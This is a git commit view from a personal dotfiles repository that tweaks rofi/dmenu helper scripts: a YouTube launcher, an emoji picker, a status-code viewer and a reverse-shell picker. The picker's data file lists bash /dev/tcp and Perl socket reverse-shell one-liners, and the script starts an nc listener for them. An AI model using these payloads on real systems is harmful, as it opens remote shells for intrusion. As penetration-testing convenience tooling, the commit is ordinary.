Small changes to dmenu-like scripts

master
Jonathan Hodgson 5 years ago
parent b547a8e2a6
commit 339ba9e889
  1. 1
      bin/.bin/dmenu/dmenu
  2. 2
      bin/.bin/dmenu/open-youtube
  3. 12
      bin/.bin/dmenu/rofi-reverse-shells
  4. 1
      bin/.bin/dmenu/shells.txt
  5. 5
      bin/.bin/dmenu/status-codes
  6. 17
      bin/.bin/dmenu/unicode-character-select

@ -1 +0,0 @@
/usr/bin/rofi

@ -6,7 +6,7 @@ if [ -z "$url" ]; then
url=$(rofi -dmenu -p 'URL') url=$(rofi -dmenu -p 'URL')
fi fi
code=$(youtube-dl "$url" -F | sed -n '/format code/,$ p' | tail -n +2 | rofi -dmenu | awk '{print $1}') code=$(youtube-dl "$url" -F | sed -n '/format code/,$ p' | tail -n +2 | rofi -dmenu -p Quality | awk '{print $1}')
mpv "$url" --ytdl-format="$code" mpv "$url" --ytdl-format="$code"

@ -36,14 +36,26 @@ function getReverseShell() {
cut -d'|' -f2- cut -d'|' -f2-
} }
function getRows(){
stty -a | head -n 1 | cut -d ';' -f 2 | cut -d ' ' -f 3
}
function getCols(){
stty -a | head -n 1 | cut -d ';' -f 3 | cut -d ' ' -f 3
}
function display() { function display() {
ip=$(getIP) ip=$(getIP)
port=$(getPort) port=$(getPort)
reverseShell=$(getReverseShell $ip $port) reverseShell=$(getReverseShell $ip $port)
echo -n "$reverseShell" | /usr/bin/xclip -i -selection clipboard echo -n "$reverseShell" | /usr/bin/xclip -i -selection clipboard
echo -n "$reverseShell" | /usr/bin/xclip -i -selection primary
nc -lvnp $port nc -lvnp $port
#Put the tty back to normal
# This is useful if I got a nice shell before
stty -raw echo
} }

@ -1,4 +1,5 @@
BASH REVERSE SHELL|bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1 BASH REVERSE SHELL|bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1
BASH REVERSE SHELL|bash -c 'bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1'
BASH REVERSE SHELL|0<&196;exec 196<>/dev/tcp/[IPADDR]/[PORT]; sh <&196 >&196 2>&196 BASH REVERSE SHELL|0<&196;exec 196<>/dev/tcp/[IPADDR]/[PORT]; sh <&196 >&196 2>&196
PERL REVERSE SHELL|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' PERL REVERSE SHELL|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
PERL REVERSE SHELL WINDOWS|perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' PERL REVERSE SHELL WINDOWS|perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

@ -0,0 +1,5 @@
#!/usr/bin/env bash
SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )"
cat "$SCRIPTPATH/http-status-codes" | fzf

@ -6,18 +6,8 @@
# Requirements: # Requirements:
# rofi, xsel, xdotool, curl, xmllint # rofi, xsel, xdotool, curl, xmllint
# #
# Usage:
# 1. Download all emoji
# $ rofi-emoji --download
#
# 2. Run it!
# $ rofi-emoji
#
# Notes: # Notes:
# * You'll need a emoji font like "Noto Emoji" or "EmojiOne". # * You'll need a emoji font like "Noto Emoji" or "EmojiOne".
# * Confirming an item will automatically paste it WITHOUT
# writing it to your clipboard.
# * Ctrl+C will copy it to your clipboard WITHOUT pasting it.
# #
# Where to save the emojis file. # Where to save the emojis file.
@ -33,17 +23,12 @@ function notify() {
function display() { function display() {
emoji=$(cat "$UNICODE_FILE" | grep -v '^[[:space:]]*$') emoji=$(cat "$UNICODE_FILE" | grep -v '^[[:space:]]*$')
line=$(echo "$emoji" | dmenu -i -p Unicode -kb-custom-1 Ctrl+c $@) line=$(echo "$emoji" | rofi -dmenu -i -p Unicode)
exit_code=$? exit_code=$?
line=($line) line=($line)
if [ $exit_code == 0 ]; then
xdotool type --clearmodifiers "${line[0]}"
elif [ $exit_code == 10 ]; then
echo -n "${line[0]}" | /usr/bin/xclip -i -selection clipboard echo -n "${line[0]}" | /usr/bin/xclip -i -selection clipboard
fi
} }

Loading…
Cancel
Save